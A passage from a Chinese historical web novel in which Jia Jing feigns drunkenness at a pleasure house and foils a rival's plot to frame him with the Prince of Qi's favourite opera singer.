水月站在贾敬身侧,小心翼翼地打量着贾敬的神色。只见贾敬微微垂下双眸,浓密修长的睫羽似蝉翼一般,随着他的气息轻轻颤动。 低垂的眼睑落下一片淡淡的暗影,恰巧遮掩住了他眼眸中的潋滟波光和烦闷情绪,然而,他垂眸一瞬所露出的脆弱与疲惫依旧稍稍泄露出了一些。 水月惯是会察言观色,贾敬这一刻情绪被他轻易捕捉了去。 他瞧着贾敬神情恹恹,怏怏不乐,却不似先前接触的王孙公子那般,仗着身份脾气肆意折腾人,只是静静歇着,水月暗自揣测这位公子的脾性应当还算温和良善。 稍作思索,水月便款款抬起手,双手执着酒杯,试着递到贾敬面前,软和着嗓音道:“这位爷,请您享用。” 贾敬稍稍顿了顿,先是视线落在水月那双手上,接着移动目光,落在了眼前那杯斟满美酒的酒杯之上。 “公子若是不喝饮酒,这茶也……” 正当水月见贾敬久久未动,心下有些慌,端着酒杯的手微不可察地晃了晃。 他以为贾敬无兴饮酒,准备换杯茶时,贾敬却出乎意料地径直伸出手,从水月手中端过那杯酒,没有丝毫犹豫,仰起头一饮而尽,动作间带着几分洒脱。 这酒喝得太过急切,贾敬的眼里瞬间沁了水色,仿佛蒙上了一层薄薄的雾气,眼尾也悄然染上了一抹红意。 水月一时不禁看迷了眼,待他反应过来自己竟看人看呆愣住后,脸上不免有些羞赧。 他抿了抿唇,劝道:“您慢些……” 水月话未说完,贾敬眼尾一挑,斜睨了水月一眼,“倒酒。” 声音不大,却透着不容置疑。 水月也知自己的身份,听从了贾敬的吩咐,再次斟满酒杯。 贾敬接过酒杯,没有立刻饮下,而是看向旁边的几个小倌,抬了抬下巴,“接着唱。” 水月一愣,连忙到:“公子,水月可以……” “不用,你给我倒酒。”贾敬打断了水月的话,另一只手拿着扇子,点了点旁边的桌子,示意水月就在这儿待着。 他如今觉得,这水月倒是与青老板有很大不同。 水月微微抬眼,再次打量起贾敬,眼里是探究和好奇。 贾敬此时已经不再管他,他将酒杯举到眼前,手腕随意摇晃着,片刻后,他再次仰头,将酒一饮而尽。 伴随着曲声,贾敬几杯酒下肚,脸颊已经酡红一片。他手撑着额,眼神迷离。 水月一直都看着贾敬,他微微附身,刚准备说些什么,就听传来一阵敲门声。 “二爷,小的回来了。” 是阿禄的声音。 “进。”贾敬没有动,嗓音懒懒道。 水月慌乱站直,门就被阿禄推开了。 阿禄刚一走近,就闻到了酒味,又看到贾敬如今的模样,难掩诧异: “二爷,您喝酒了?” 贾敬缓缓勾起唇,“我来这楼,不喝酒来他作甚?” 阿禄瞄了眼贾敬身边站着的水月,不动声色地插了进去,倒了杯茶,劝道: “二爷,您明日还要当值呢,这酒喝多了,当心头疼。” 贾敬微微侧头,掠了阿禄一眼,“你如今都管上我的事了。” 嘴上这么说着,贾敬还是接过了阿禄手中的茶杯,稍稍抿了一口。 阿禄转头对水月吩咐道:“去给咱们爷端杯蜂蜜水来。” 水月下意识看向贾敬,却见贾敬正听着曲,并未注意这里的情况,他轻咬着唇瓣,转身出了门。 在水月出去的那一刻,贾敬抬眸看向阿禄,“查看的如何?” 此时的贾敬,眼神哪里有先前的迷离,清明一片。 “二爷如今酒量倒是了得。” 阿禄先是夸了句,才正色道:“小的刚刚在外面摸了一圈,王大人宴请的雅间跟咱们同在二楼,就在咱们对面。” 春风楼里的构造是一个“回”字型楼,贾敬现在所在的雅间对面也是个角落,同样人员走动不多。 贾敬:“你看见人了?” 阿禄嘿嘿一笑,“说来也是巧,小的方才遇见了一个人,您那位在工部任主事的同年,李玉衡。” 提起李玉衡,贾敬不由得挑了挑眉,“他今日来赴王大人的这场宴?” “是,他上楼时和人正说着话,聊的正是今天的宴席,他如今应该就是在那位王大人手下做事。” 阿禄说着,声音压低了几分,“小的从李玉衡口中得知,今晚齐王殿下也来了,在另一间雅间。” “呵。”贾敬轻笑一声,“估摸着不会在王大人那里露面了。” 要是他没猜错,着两件雅间定是有什么玄机,齐王萧淮洵在另一间雅间想来也是能知晓王大人这里的一举一动。 贾敬晃晃悠悠站起身,“走,出去转转。” 水月端着蜂蜜水回来,四处看看,早已经不见贾敬的身影,他问向戏台还在唱曲的小倌们, “那位公子呢?” 小倌:“那位公子被他小厮搀着出去了,想是去出恭了。” 水月缓缓将手中的蜂蜜水放下,站在原地,不知道在想什么。 戏台上的一个小倌停了口中唱的曲,对着冷月凉凉道: “别以为那公子让你伺候斟酒,你就得了脸。” “那等神仙人物岂是我们可以攀上的?” “我劝你啊,还是别白做梦了。” “不自量力。” 水月偏过头,看着那小倌,笑着道:“你这酸味儿,我站着就能闻见了。” “有酸的闲工夫,你还是好好练练你的曲儿吧。” “这改明儿才能有斟酒的机会不是?” 这话讽刺意味十足,将那个小倌气的直哆嗦。 而贾敬这头,从恭房出来后,就摇摇晃晃兀自推开了一间极为热闹的房门。 所有人都愣住,齐齐看了过来。 第95章 “嗯?” 贾敬眼睛稍稍睁大一些, 像是要努力看清房内的情况,“走错了啊……” “哟,这不是咱们贾二爷吗?” 还未等贾敬转身离开, 有人就已经按捺不住开了口。 李玉衡说着话还嫌不够,他还站起身,欲要朝贾敬这里走来。 坐在众人中间的王大人此时也在打量贾敬。 这年轻人他有印象, 不仅是昨日刚见过, 还因为贾敬的样貌气质都太过出众, 瞧着就是非富即贵。 赵二那小子此人是翰林院刚当值的新人, 而刚刚李玉衡喊他什么? 贾二爷。 王大人顿时了然了贾敬的身份。 今年科考高中的进士,又姓贾,行二, 大抵也就只有宁国府家的那位二爷了。 而这位贾二爷, 在王大人这些人眼里,是名副其实的太子党,是太子萧淮川的人。 贾敬掀了掀眼皮,看着站在他面前的李玉衡, 拧了下眉,有些不悦, “你、你是哪个?” 这句话李玉衡只觉得是贾敬对他蔑视, 他紧了紧牙关。 贾敬丝毫对李玉衡不感兴趣, 转身就要走, 被李玉衡一把拦下, 贾敬眼睛一瞪, 声音陡然拔高, “让、让开!别耽误我听小曲儿!” 李玉衡听着贾敬略带口齿不清的话, 闻着贾敬身上的酒味, 脸上露出一丝嫌弃。 果然是酒囊饭袋的纨绔子弟。 随后李玉衡又对上贾敬那双不算清醒的眼睛,他眼底闪过一丝算计。 “培元喜欢听曲儿?” “听曲哪里不能听?咱们今天还请了名角青老板呢!” 李玉衡说完,眼睛死死盯着贾敬,不容错过他丝毫的神情变化。 当看见贾敬对明显被他口中的话勾住时,李玉衡笑着咧开了嘴。 “青老板今日在这儿?”贾敬半信半疑。 李玉衡:“当然!他待会儿就上场了。” 贾敬面上有些犹豫,李玉衡也知道,这是贾敬最迷糊了,若是平日里的贾敬,就算这里有他想要听的曲、看的人,贾二爷也会高傲的不屑一顾。 李玉衡直接转过身,向王大人等人介绍着,“诸位大人,这位是在下的同年,贾敬贾培元。” “宁国府的贾二爷。” 李玉衡请示着王大人,“王大人,我这同年喜欢听曲儿,今日这般巧碰上了,不若就让他留下一起吧?” 刚刚李玉衡和贾敬的那些眉眼官司,王大人早就尽收眼底,他大手一挥,“人多好啊,热闹!” “快入座!” 贾敬还没回过神来,就被李玉衡半邀半推的落了座。 “待会儿上场的真的是青老板?”贾敬坐下后,又问李玉衡。 李玉衡眼眸闪了闪,他没想到贾敬居然这样执着这位青老板。 执着好啊,执着他的计划才能更好的实施。 李玉衡扯了扯嘴角,“是啊,待会儿就上场了。” 王大人瞥了眼酒没少喝的贾敬,见他已经有些神志不清,也不愿多搭理,跟旁边几人小声谈论起来。 今日他这宴着实邀了不少人,就算他一人说上一句话,可能都要说上好久。 王大人作为今日的东道主,自然是众人巴结的对象,他也不可能放下身段去和每个人交谈。 今天在场的这些人,都是求着他办事,谁让他现在掌握了这样的肥差呢。 果然也没让贾敬多等,随着鼓声锣声响起,青老板扮着妆,便上了台。 今日唱得是个比较冷门的曲目,贾敬有些陌生,但内容听着也算是听明白了。 李玉衡见贾敬眼睛一动不动地看着前面的小戏台,探过身子,轻声问: “贾二爷这么喜欢?” 贾敬:“嗯。” 李玉衡接着试探,“是喜欢听曲儿,还是喜欢这个唱曲的人?” 面对这么一长串话,贾敬嫌烦地蹙起眉,“别打扰我听曲儿!” 李玉衡面容有那么一丝扭曲,藏在袖中的手紧紧攥着。 贾培元,你给我等着!待会有你好果子吃的! 李玉衡又盯着贾敬看了一会儿,见他完全沉迷于青老板的戏中,瞧瞧起身,去了旁边的一个小隔间。 贾敬手撑着额头,眼睛稍稍朝李玉衡刚刚离开的地方瞧了一眼,嘴角微微勾起。 机会已经给李玉衡了,希望他好好把握。 若是他没猜错李玉衡的心思,接下来李玉衡要做的,可能就是灌醉他。 毕竟人只要醉了,失去了意识,那么想要做什么,都无法反抗了,可以让人为所欲为。 “来,培元,尝尝这个!” 李玉衡端来一壶酒,亲自给贾敬斟满。 贾敬瞥了眼递到跟前的酒,并没有接,看着李玉衡,“我们关系有那么好吗?” 李玉衡凝视着贾敬,见他此时要较之前清醒了些,心下一紧,暗道一句糟了。 他咬了咬牙,朝贾敬挤出了一抹笑,“之前我们或许有误会,今日我在这里给你赔罪了。” 李玉衡又将手中的杯子朝贾敬面前递了递,贾敬微微挑眉,“你有那么好心?” 见贾敬一直不接酒杯,李玉衡心中起了一丝焦急,连额头上都发了一层细汗。 他舔了舔有些干涩的唇,朝贾敬讪讪一笑, “我承认,我之前对你确实有偏见,但我知道错了。” 李玉衡一边说着一边打量着贾敬的神情,“况且我们可是同年,以后还要同朝为官数十载,相互扶持,不是吗?” “一没什么仇,二没什么怨,我还能害你不成?” “不过是知道你喜欢青老板,这才邀你来听戏。”李玉衡说着说着,语气竟然还增添了几分委屈,“想来你也知道,青老板可没那么好请。” 贾敬是强忍着才没起鸡皮疙瘩。 但他面上却像是被李玉衡说动一般,面容微变,但依旧是一副高傲的模样,“既然你都如此诚意,我也就不跟你计较了。” 贾敬这么一副模样,让李玉衡气的紧扣酒杯的手,都捏的发白。 他努力牵起一抹笑,“您大人有大量。” 心里则是把贾敬骂了十遍八遍,也就神气这一会儿了! 看你过了今晚还能不能神气起来! 贾敬这才伸出手,就在手要接过那杯酒时,手指一个蜷缩,又缩了回去。 “我今日酒喝了不少,就不喝了。” 贾敬说着就要去端旁边的茶杯,“以茶代酒吧。” “不行!” 李玉衡连忙拦住。 贾敬手一顿,有些不悦地望着李玉衡,“你到底要如何?” 李玉衡深呼吸一口气,努力压住心中的怒火,故作委屈道: “你今日既然已经喝了酒,为何不接我的酒?你还不愿意原谅我?” 贾敬像是被李玉衡这模样吓到,“好了,不就是一杯酒吗?” 他说着从李玉衡手中接过了那杯酒,又看着李玉衡空了的手,“你的酒呢?” 李玉衡一愣,一拍脑袋,“培元稍等,我这就倒一杯。” 他其实因为心急,只记得给贾敬倒酒,却忘了自己。 李玉衡动作飞快的给自己倒了一杯,“培元,请。” 贾敬颔首,端起了酒杯。 李玉衡目光紧紧盯着贾敬,生怕错过什么,待他亲眼看见贾敬将那杯酒喝了下去时,才猛地舒了口气,将手中的酒一饮而尽。 两人酒喝完,青老板的戏也唱到了最尽兴的地方,贾敬的心神完全被吸引了去,更加注意不到李玉衡了。 而李玉衡则是一直盯着贾敬,他在等。 戏罢,落幕,青老板走了。 李玉衡看着贾敬失神望着戏台的模样,轻声道:“喜欢吗?” “嗯。”贾敬刚应声,顿觉脑袋一阵眩晕,他下意识地摇了摇了头,只是这样就更加头晕了。 李玉衡见状,眼睛亮了几分,眼底的得意和兴奋都要溢出眼眶。 “培元可是醉了?我扶你去歇息歇息。” 贾敬此时眼皮已然全部耸拉下来。 王大人注意到李玉衡扶着贾敬,“这是醉了?” 李玉衡赔笑道:“我送他去歇息。” 王大人一直到他们出了门,才收回目光,神色莫名。 李玉衡一路扶着贾敬进了一个房间,将他往里一推,就直接关上了门。 门阖上,贾敬缓缓睁开眼,耳朵动了动,骤然转身,就对上了一张脸。 “是你!” 青老板脸上是难掩的震惊。 贾敬直起腰,一改先前的醉态,淡定从容的朝青老板笑了笑,“青老板,我们果然有缘。” “有缘谈不上,方才公子应该在王大人的宴席上吧。”青老板又恢复了以往的模样。 贾敬感慨:“青老板果然好眼力。” “你……”青老板还要说什么,就被贾敬打断。 “若是能跟青老板谈心,是在下的荣幸,不过眼下事情比较紧迫,还请青老板先配合在下解决眼前之事。” 贾敬一字一顿道:“我们被人算计了。” 青老板眯起眼,“那是公子你。” 贾敬:“不,是我和你。” “若没有青老板和齐王那层关系,我被人设计,又怎么可能进青老板你的房间?” 青老板听贾敬点破他和齐王有关联,蹙眉看着贾敬,“你知道什么?” 贾敬勾唇,“很多。” 说了这句话,他又不说了。 青老板知道,贾敬是在等他的回应,他定定望着贾敬,“公子既然知道,又为何要这样威胁我?” “你不怕齐王吗?” 贾敬觉得有些稀奇,他难得见青老板这般锋芒毕露的时候。 “青老板都不怕,我又何怕的?” 青老板蹙眉,他不明白贾敬为何这样说。 贾敬缓缓吐出一个名字,“李、清、臣。” 青老板脸上陡然巨变,目光赫然,语气尖利,“你到底知道什么?” 贾敬笑而不语。 “好,你想如何做,我配合你。” 第96章 李玉衡匆匆忙忙回了王大人那间雅间, 神色慌张焦急,很快就引来了许多人的注意。 “你不是送宁国府那位歇息去吗?怎么如此慌张?” 李玉衡面露难色:“确实如此。” “只是培元他实在是醉了,有些闹腾, 下官一个没注意,培元就走丢了,下官找了一圈也没找到!” “这春风楼鱼龙混杂, 找不着人, 恐有些担心, 怕出了事不好交代。“ 王大人及他身边几位大人一听, 神情也渐渐变得凝重,不似先前那般随意。 “你这层楼都找了一遍?”王大人放下手中的茶杯。 李玉衡连忙点头:“是,都找了一遍。” 王大人微微思忖, 心想着要不要吩咐人去寻。 这人本也不是他请来的, 可李玉衡却邀请了这位宁国府的二爷进来吃酒,进了他的雅间,若是出去人丢了,可不是王大人想要推脱就能推脱的。 王大人想是想到什么, 眯起他那双不大的眼睛,看向李玉衡, 再次问道: “你当真全部都找了, 还是没有找到人?” 李玉衡面对王大人的再次问话, 这次回答却没之前那般干脆了, 而是显得有些支支吾吾。 “许是去了别的楼层也说不定。” 王大人眼神划过犀利之色, 语气沉了几分, “李主事, 你是有什么忘记说了吗?” 李玉衡脸上带着些犹豫, 迟疑道:“下官确实有一间屋子没有进去看过, 但……” 他欲言又止。 王大人面容严肃,质问李玉衡,“那间为何不进去?” 李玉衡轻咳了一声,眼睛在王大人身旁看着,像是有些为难。 王大人将李玉衡的神情变化尽收眼底,微微颔首,示意他走近来。 李玉衡咬了咬牙,几步走到王大人跟前,贴在王大人耳边说道:“还有一间雅间我没去看,那是准备给青老板休息的屋子。” 青老板…… 王大人闻言,眼皮不由得跳了跳,他目光沉沉地盯着李玉衡,一字一句道:“你当真不知道贾二爷在何处?” 李玉衡在王大人的目光下,咽了咽口水,哭丧着脸道:“大人,下官真的不知道啊。” 王大人冷眼看了李玉衡许久,没说话,只是站起身,对其余众人道:“诸位,在下这里有些事,要失陪了。” 他说着端起一杯酒,一口喝干,“今日都记在王某账上,诸位在此玩的尽兴。” “王大人若是有事,就先去吧。” 今日王大人邀请这些人过来,本就不是谈什么多重要的是,只是像这些人透露写风声,至于之后如何,他们自然会私下再接触,远不会像今天这般高调扎眼。 王大人起身出了雅间,柳娘此时也听见动静走了过来。 柳娘见王大人亲自出来,也是跟着心中一惊,面上赔笑道: “王大人,您怎么出来了,有事您只管宣人来吩咐便是。” 王大人:“今日来你春风楼喝酒的贾二爷,方才去我那里喝了几杯酒,出来便不见了人,你去派人寻一下。” 柳娘闻言先是一愣,她怎么也没想到,那位贾二爷当真去了王大人这里。 这人如今还走丢了! 柳娘紧接着就吩咐人去找了,还一边对王大人道: “大人莫急,今日知道您在这儿办宴,我特地没安排多少人在这一层,许多屋子都是空着的,想来是好找。” “就算是走错了楼也不妨事,我柳娘这春风楼,您还不放心吗?” “人丢不了。” 然而王大人的脸色却没有放松下来,他担心的可不是人丢了找不到,而是怕在不该出现的地方找到贾敬。 譬如,刚刚李玉衡提到的,未进的青老板房中。 想到这里,王大人缓缓转过头,目光阴沉地望着李玉衡,语含警告道: “你的那些小心思,别以为我看不出。” “你私下里做什么,我也不想管。” “但你若是为了你的一己私欲,得罪了什么不该得罪的人,那么便后果自负吧。” 李玉衡本就是壮着胆子做了今日的局,此时被王大人这一番话的极为心虚,他下意识的脚步后退半步。 但下一瞬,李玉衡就稳住了脚步,神情茫然,语气委屈,“王大人,我不明白您说的意思。” 王大人已然不愿再多说,反正改提醒的他已经提醒了。 他径直朝一个雅间方向走去,李玉衡在后跟着,心越跳越快。 那正是李玉衡刚刚带着贾敬前往的房间,也是青老板的歇息之处。 算算时间,刚刚好。 马上他就要看见贾培元丑态百出了。 王大人到了房门前,没急着推开门,反而是停下了脚步,稍稍探头,像是想听一听房间里的动静。 李玉衡站在王大人身后,眼睛略带兴奋地盯着门缝,袖中的手搅在一起,不断搓动,脚尖时不时动上一动,好似下一秒就要忍不住抬脚将门踢开。 就在李玉衡要忍不住,想要抬腿将门踹开时,王大人像是脑后长了眼睛一般,忽的转过头,眼神如淬了冰一眼, “李主事,你当如何?” 李玉衡硬生生将半抬起的腿缩了回去,讷讷道:“没、没准备做什么……” 王大人:“去,敲门。” “客气点。”王大人有些意味深长地看向李玉衡,“青老板的身份你应该清楚吧。” 李玉衡垂在一侧的手下意识握紧,扯了扯因紧张僵硬的嘴角,“下官什么也不清楚。” 他说着转过身,走到门前,仔细听了听里面的动静,微微蹙眉。 随后李玉衡抬手敲了敲门,还算有礼貌。 王大人站于李玉衡身后,眼眸冷了下来。 李玉衡统共敲了两次门,里面却没有丝毫应答,寂静无声。 他的心也随着这寂静沉了又沉。 “大人,没人应。”李玉衡有些战战兢兢。 王大人好整以暇,“既然如此,你便直接推门进去吧。” 李玉衡此时也注意到了王大人不似先前紧张小心的态度,心更加慌了几分,“大人,这不妥吧?” 王大人勾唇,“我让你推,你就推。” “不是你说就这间房没有查看了吗?现在去看看。” 李玉衡的牙都忍不住哆嗦,他心中已经有了一丝猜测,但事已至此,他早没了退路,咬了咬牙,李玉衡用力一推,门未上锁,被轻易推了开来。 果然,里面空无一人。 李玉衡脚步不稳,踉跄一下。 “李主事,可瞧见人了?”王大人悠悠的声音在李玉衡身后响起。 李玉衡嘴唇蠕动,想说些什么,却什么也说不出。 他已经清楚,刚刚王大人在门口窥探时,肯定已经断定屋内没人,这才让他去推门。 李玉衡的心慌乱一片,更是不敢想象后续的结果,此时的情况已经脱离了他的掌控之中。 可是,怎么可能呢? 他给贾敬下的那个药,药性极强,就算是不举的人吃了都能重振雄风。 倘若是正常男人,根本不能抵抗药性,一盏茶的功夫就能变成只求欲望的野兽。 贾敬喝下那药,根本就没有逃脱的可能,应当早已经失去了理智,除非他没喝! 可李玉衡确定他是眼睁睁看着贾敬将那杯酒喝下,怎么可能没喝呢? 李玉衡不相信,也不愿相信。 可他已经脚底生凉,面色煞白,不敢转身去看王大人的脸色。 “唔……” 忽的,李玉衡像是听到了什么。 “……哈哈……” 李玉衡眼睛猛地睁大,“有动静!” “隔壁有动静!”他声音又拔高了几分,死死盯着王大人,“大人,您可听见了?” 王大人眼眸闪了闪,他自然听清了。 但…… 李玉衡此时已经等不及王大人的指示了,他也不想等! 他大跨步地朝隔壁雅间走去,没几步就到了门口,伸手用力一推。 “轰”的一声,门发出剧烈声响。 李玉衡定睛一看,见到屋内的一幕,眼睛都要从眼眶里瞪了出来,原本发白的脸此时因为兴奋激动而涨得通红。 “贾培元,你在作甚!” 跟在李玉衡身后走来的王大人,听见李玉衡高昂到刺耳的声音,面色一凝,脚步也快了几分。 “休要如此喧哗慌张!” 王大人率先呵斥了李玉衡一声。 李玉衡则是手颤抖着指着屋内相拥亲热的二人,“贾培元!” “谁这么不长眼,竟然来打扰小爷的美事?” 贾敬满脸不虞的抬起脸,眼神是明显好事被打断的怒意。 李玉衡望着贾敬怀里那张侧对着自己的脸,质问道:“你可知道他的身份!” 他的心则是在胸膛内怦怦乱跳,努力压制着想要上扬的嘴角。 那张脸可不就是今日王大人宴请来的崇雅堂台柱子水青,青老板吗? 王大人此时也看到了那张脸,脸色骤然一变。 居然真的是青老板! 王大人此时的脸色难看至极,刚要说什么,就听贾敬道: “我管他是谁?” 贾敬听着李玉衡的话,神情没有丝毫变化,他将怀中之人搂得更紧,薄唇勾起一抹张扬肆意的笑, “只要是我看上的,那就是我的!” 尽显风流纨绔之态。 李玉衡听了贾敬的话,终是压不住眼里的喜意, “你可知道他是谁?” “他可是齐王殿下瞧中的人!你也敢染指?” 【作者有话要说】 啊啊啊啊我回归啦!提前更一章,爱你们[亲亲] 第97章 李玉衡的话刚说完, 就背后一凉,下意识看向身边的王大人。 只见王大人看向他的眼神带着些阴翳。 李玉衡陡然颤了颤,他刚刚可是在王大人面前信誓旦旦说, 他并不知道青老板的特殊之处。 可他自己刚刚的话,显然是欺骗于王大人。 李玉衡用力咬住颤抖的牙,手紧紧攥着。 既然已经走到了这一步, 就绝没有现在退缩的道理。 只要今日拿住贾敬的错处, 让他得罪了齐王殿下, 那么他的出路, 就绝不是待在工部这一条了。 李玉衡强迫自己转正了身子,不去看王大人可怖渗人的眼神。 贾敬手揽着人,懒散地躺靠在软榻之上, 目光睥睨着李玉衡, 语气轻蔑不屑, “齐王瞧上的人?” 贾敬无动于衷,甚至对于李玉衡的话嗤之以鼻。 贾敬的手指挑起怀中之人的下巴,指腹摩挲, 宛如逗弄笼中雀儿般,轻佻浮薄, 玩弄了好一会儿。 王大人见到这样一幕, 只觉得额角发疼。 今日是他攒的宴席, 明面上, 青老板也是他邀请来的人, 若是真的在此处和宁国府贾二爷厮混在一处, 思及三楼歇着的那位, 王大人的脸是越发挂不住了, 想着要如何收场, 才不能波及到他自身。 而贾敬满不在乎到傲慢的态度如一盆冰水,浇在李玉衡原本高涨的情绪之上,羞愤堵在李玉衡胸中,喝骂道: “贾培元!你简直是胆大包天!” 贾敬越是无法无天,李玉衡本也应该更高兴,可他心中实际上则是焦虑又重了几分。 这样的混不吝,跟齐王抢人,没有丝毫惧意,贾敬真的会因此得罪齐王,从而被齐王针对吗? 这念头一出,遽然而逝,李玉衡稍稍动摇的心思又稳固了几分。 青老板之于齐王殿下有多重要,李玉衡是见识过的。 崇雅堂那位调戏青老板的纨绔子弟,不过是拉扯了青老板的衣裳,就被齐王命人砍了十根手指头。 就算贾敬出身宁国府,背后有太子撑腰,染指了齐王殿下看重的人,也绝不会那么轻易脱身。 更不要说,若是和齐王殿下争戏子一事闹大,贾敬更会是吃不了兜着走。 贾敬丝毫不在意李玉衡的呵斥,看着怀里那人耳廓通红烫人,贾敬被逗笑了,心情好转了几分,这才将将抬起眼掠了眼李玉衡,嗤笑出声: “且不说我是不是胆大能够包天,就论你刚刚那话,简直是无稽之谈。” “他怎么会是齐王殿下的人?” “小爷可没听说过,他有这个喜好。” 李玉衡听着先是一愣,他显然是没想到,贾敬这般不怕的态度,居然是因为不相信青老板是齐王殿下看中的人。 他故意为贾敬考虑的模样,劝道:“贾培元,我奉劝你,最好就此作罢!要知道,齐王殿下就在……” “李玉衡!” 王大人忽然出声,打断了李玉衡即将要说出口的话。 李玉衡顿住,估摸着他先前买通的小倌应当快要将人领来时,心一横,大声道: “齐王殿下可就在三楼!” “你还是赶紧向殿下去谢罪吧!” 贾敬冷哼一声,不信李玉衡的话,依旧我行我素。 “啪!” 王大人见李玉衡不仅不听自己的命令,反而将齐王殿下牵扯出来,脸色黑沉如锅底,抬手就扇了李玉衡一个巴掌。 “王常!” 李玉衡捂着被打的脸,双眼布满红血丝,失声吼道:“你竟然敢打我的脸!” “我虽官职不如你,可也是圣上钦点的官员!” 李玉衡紧咬着牙,感受着腮帮子的胀痛和口内的血腥之气,怒不可遏。 打人不打脸,他虽只是个主事,可也是朝廷命官,是王常的同僚! 李玉衡的面容此刻满是狰狞,吐出一口血沫,心里暗道: 跟着齐王又如何?又在神气什么?今日之后,齐王也将身败名裂! 贾敬好整以暇地看着李玉衡和王大人两人狗咬狗,从中也看出了一些端倪。 他本以为李玉衡进了工部,跟在王大人身后,是想要投靠齐王,如今看来,并不是那样。 李玉衡今日之计,不仅仅是冲着自己来的,还有齐王,倒是和贾敬原本的目的,不谋而合了。 “何事要向本王谢罪?” 齐王的声音响起,李玉衡捂着红肿胀热的脸,扯出一抹笑,终于让他等到了。 李玉衡装着慌张的模样,连忙转过身,垂着头,颤颤巍巍,“齐王殿下,您怎么来了?” 他的眼睛则是偏向了贾敬那处,只见原本还露出侧脸的那位,此时已经将头埋在了贾敬怀中,一点也看不见了。 李玉衡眼底的喜意更浓。 王大人有些惶恐地走到齐王身边,看见了青老板埋首,松了口气,想要将此事糊弄过去, “殿下,没什么事,只是偶遇了贾二爷在此玩闹罢了。” 他一副尴尬的神色,“此处不便,殿下还请移步。” 免得脏了眼。 只是这话怕贾敬暴跳如雷,王大人没说。 可即便如此,王大人的话依旧让贾敬挑起了眉头,眼角稍稍下垂,原本慢条斯理抚摸着长发的手蜷缩收起,冷冷一笑,嘴角勾起一抹讥讽: “王大人这话是何意?” “是你们鲁莽无故闯进我的屋内,扫了我的雅兴,如今倒好,还觉得我碍眼了不成?” 王大人心中一紧,暗道被这位爷给缠上了,面上却仍强装镇定,微微欠身道: “贾二爷,这只是个误会,我们不便在此打扰,这就离开。” 王大人这边刚准备邀萧淮洵离开,只见萧淮洵已经探头朝里看去。 萧淮洵是怎么也没想到,会在春风楼见到贾敬,有些诧异,“贾培元?” 又见他举止亲昵地搂着一人,更是一副见到鬼的模样。 “哟,这不是齐王殿下吗?”贾敬挑眉,语气意味不明,“没想到,齐王殿下还会来这里。” “你管本王来不来这里。”萧淮洵嘴角抽了抽,下意识回怼:“你来春风楼,皇兄不知道吧?” 萧淮洵别的不知道,但萧淮川对于贾敬的管教,可比对他们这些弟弟要用心多了。 贾敬斜了萧淮洵一眼,意味深长道:“我与淮哥之间如何,就不需要齐王殿下担忧了。” 萧淮洵一哽,贾敬和萧淮川关系亲密,可以说是萧淮洵心中的一根刺。 被贾敬这么一戳心窝子,萧淮洵僵着脸,就准备要转身离去,眼不见心不烦。 可目光随意一扫后,萧淮洵便顿住,视线直勾勾地看着贾敬搂着的那人。 就算没有看见脸,通过身量,萧淮洵也能断定,这人是名男子! 贾敬居然好男风? “你……你喜欢男人?” 萧淮洵张了张嘴,看着贾敬眼神有些古怪。 贾敬见萧淮洵如此,眼露嫌弃,“不过是玩个戏子,齐王殿下至于这样惊讶?” 京里好男风的王孙公子不在少数,就连萧淮洵也是养了一个又一个的小戏子,此时在他面前装什么纯情。 萧淮洵眯着眼看了贾敬好一会儿,但他亦没有想要多说什么,欲转身离去。 一旁干站着的李玉衡却已经很是心急。 他等不急了,连忙开口道: “殿下何不看看,他贾培元怀中之人是谁?” “何人?”萧淮洵脚步微微一滞,心中倒是真的起了一丝好奇,到底的何模样的人能勾住贾敬。 “不过是个会唱戏的小戏子。”贾敬另一手随意转动着手中的折扇,语气随意,“齐王殿下若是喜欢,改日送两个干净的到你府上。” 萧淮洵没说话,李玉衡率先开了口,声音陡然拔高: “贾培元你可是心虚!” “为何不敢露出他的脸来!” 贾敬不悦地拧起眉,他怀中之人也随着李玉衡的话猛地瑟缩。 半截素白手腕从袖中滑出,衬得腕子上的那一串红麝珠煞是惹眼,也让萧淮洵瞳孔微缩。 那串红麝珠手串分明是…… “你怀中是何人!”萧淮洵盯着贾敬怀中那抹颤抖的素白手腕。 萧淮洵忽如其来的质询,让贾敬眼眸一沉。 李玉衡一直注意着萧淮洵,见他变了脸色,跟着叫嚣着:“对啊,贾培元你敢不敢给齐王殿下看看你怀中之人的脸!” “啪!” 贾敬手中折扇一挑,直接将桌案上的茶杯掀飞,白瓷碎片掺杂着茶水溅了李玉衡一身。 “贾培元!你别欺人太甚!” 贾敬连正眼都没给李玉衡一个,“这里轮得到你来狗吠?” 李玉衡忍受着身上灼热湿漉的难受,眼神阴鸷晦涩,嘴上却说着, “齐王殿下,他这是不把您放在眼里啊!” 萧淮洵脸色难看,死死盯着那红麝珠手串,低吼道: “贾培元,他到底是谁!” “呵。”贾敬偏侧着头,“齐王殿下对我看上的戏子这般感兴趣?” “原来,你也好这一口啊。”贾敬似笑非笑,说出的话意味深长。 “你给本王抬起头来!”这句话是萧淮洵对贾敬怀中之人的命令,他已经无暇应对贾敬刚才的那句话。 “齐王殿下既然要看,那便看个清楚!” 贾敬扇柄挑起那人的下巴,稍稍一转,就将人的脸露在了众人面前。 “果然是……” 李玉衡早就酝酿在口边的话,硬生生卡在了喉中,根本吐不出之后的话。 【作者有话要说】 大家新年快乐!![加油][加油] 第98章 “果然是谁?”贾敬明知故问。 萧淮洵拧眉看着那张脸, 没说话。 王大人先是一愣,随后暗自松了口气,露出一丝了然, 看向贾敬的眼神也多了几分忌惮。 唯有李玉衡目眦欲裂。 “怎么可能……” 那张脸,此时李玉衡看得真切,侧脸确实与青老板极为相似, 可当看见正脸时, 尤其是那低眉顺眼的姿态, 与崇雅堂的青老板差上了许多。 贾敬将几人的神情变化尽收眼底吗, 手执着扇骨轻轻在那人脸上摩挲,“齐王殿下,这位也值得你这般兴师动众?” 他说着, 扇骨缓缓下移, 移到了那处不明显的喉结处,声音不疾不徐,“他叫水月,嗓子可甜了。” “齐王殿下现在看了, 可还满意?” 贾敬眼神在萧淮洵和李玉衡两人身上扫过,最后落在李玉衡身上, “还是说, 你以为他是谁?” 此话一出, 萧淮洵的目光也跟着落在李玉衡身上, 此时也回过味来, 方才李玉衡那一串的刻意引导。 “你觉得他是谁?”萧淮洵同样问李玉衡。 李玉衡面如金纸, 腿都在发软, 声音颤抖, “下官以为、以为……” 他如今根本不敢说出青老板的名字。 “王常。”萧淮洵打断李玉衡的话, 转头看向王大人,使了个眼色,“将人带走。” “是,殿下。”王大人直接扯过李玉衡,不容他挣脱。 